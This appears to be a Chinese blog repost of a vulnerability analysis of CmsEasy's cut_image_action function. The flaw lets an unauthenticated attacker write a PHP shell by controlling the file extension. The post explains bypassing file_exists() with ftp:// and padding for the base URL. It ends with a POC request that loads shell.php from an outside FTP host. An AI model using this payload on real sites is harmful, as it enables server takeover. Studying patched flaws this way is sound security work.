php strlen漏洞,CmsEasy前台无限制GetShell

来源:阿里先知(安全情报)

0142c468cc2d89f3e6a12c5e2b50a674.png

简要描述

CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话

前台getshell漏洞修正;

命令执行漏洞修正;

我们就根据补丁来分析一下这个前台Getshell漏洞。

漏洞详情

修改的文件不多,通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。

来看看这个函数/*function cut_image_action() {

$len = 1;

if(config::get('base_url') != '/'){

$len = strlen(config::get('base_url'))+1;

}

if(substr($_POST['pic'],0,4) == 'http'){

front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);

}else{

front::$post['thumb'] = substr($_POST['pic'],$len);

}

$thumb=new thumb();

$thumb->set(front::$post['thumb'],'jpg');

$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

$save_file='upload/images/'.date('Ym').'/'.$new_name;

@mkdir(dirname(ROOT.'/'.$save_file));

ob_start();

$thumb->out_image($img,null,85);

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

ob_end_clean();

$image_url=config::get('base_url').'/'.$save_file;

//$res['size']=ceil(strlen($img) / 1024);

$res['code']="

//$('#cut_preview').attr('src','$image_url');

$('#thumb').val('$image_url');

alert(lang('save_success'));

";

echo json::encode($res);

}

*/

看保存文件名的生成$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

不过这里利用需要一点技巧 直接用了$_POST['pic']的后缀做为新文件的扩展名,应该就是这里导致的getshell。

1、图片会经过php的图像库处理,如何在处理后仍然保留shell语句

2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)

在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析,当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整

关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍

78a2a125c09856c29e47aecf9adcbd65.png$len = 1;

这里构造payload还有一点需要注意的5.0.0以上 就支持file_exists()了

if(config::get('base_url') != '/'){

$len = strlen(config::get('base_url'))+1;

}

if(substr($_POST['pic'],0,4) == 'http'){

front::$post['thumb'] =

str_ireplace(config::get('site_url'),'',$_POST['pic']);

}else{

front::$post['thumb'] = substr($_POST['pic'],$len);

}

所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)。如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)。

POC

POST /index.php?case=tool&act=cut_image

pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

本地测试截图

e6871727623130903e19be2163d162c3.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值